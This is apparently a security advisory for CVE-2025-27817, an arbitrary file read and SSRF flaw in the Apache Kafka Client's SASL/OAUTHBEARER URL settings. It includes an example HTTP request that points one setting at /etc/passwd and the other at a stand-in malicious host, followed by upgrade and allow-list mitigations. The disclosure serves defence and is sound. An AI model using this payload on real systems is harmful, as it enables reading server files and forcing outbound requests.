Overview
The vulnerability, identified as CVE-2025-27817, is a severe security flaw found in Apache Kafka Client that potentially allows arbitrary file read and Server Side Request Forgery (SSRF). If exploited, this vulnerability could lead to system compromise or data leakage. It is especially significant for SaaS products and environments that utilize Apache Kafka Clients where configuration data can be manipulated by untrusted parties.
Vulnerability Summary
CVE ID: CVE-2025-27817
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
Apache Kafka Client | Prior to 3.9.1/4.0.0
How the Exploit Works
An attacker can exploit this vulnerability by manipulating the SASL/OAUTHBEARER connection configuration data, specifically the “sasl.oauthbearer.token.endpoint.url” and “sasl.oauthbearer.jwks.endpoint.url”. This allows the attacker to read arbitrary files, return their content in the error log, or make requests to unintended locations. In certain applications, such as Apache Kafka Connect, this flaw can escalate from REST API access to filesystem/environment/URL access.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited:
POST /api/config HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.oauthbearer.jwks.endpoint.url": "http://malicious.example.com"
}Here, the attacker is specifying a local file (in this case “/etc/passwd”) in the “sasl.oauthbearer.token.endpoint.url” parameter. This results in the contents of the file being read and returned in the error log. Furthermore, the attacker is using the “sasl.oauthbearer.jwks.endpoint.url” parameter to send requests to a malicious server.
Mitigation
Users are advised to upgrade to Apache Kafka Client 3.9.1/4.0.0 or newer and set the allowed urls in the SASL JAAS configuration explicitly through system property (“-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls”). Alternatively, the deployment of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation strategy.
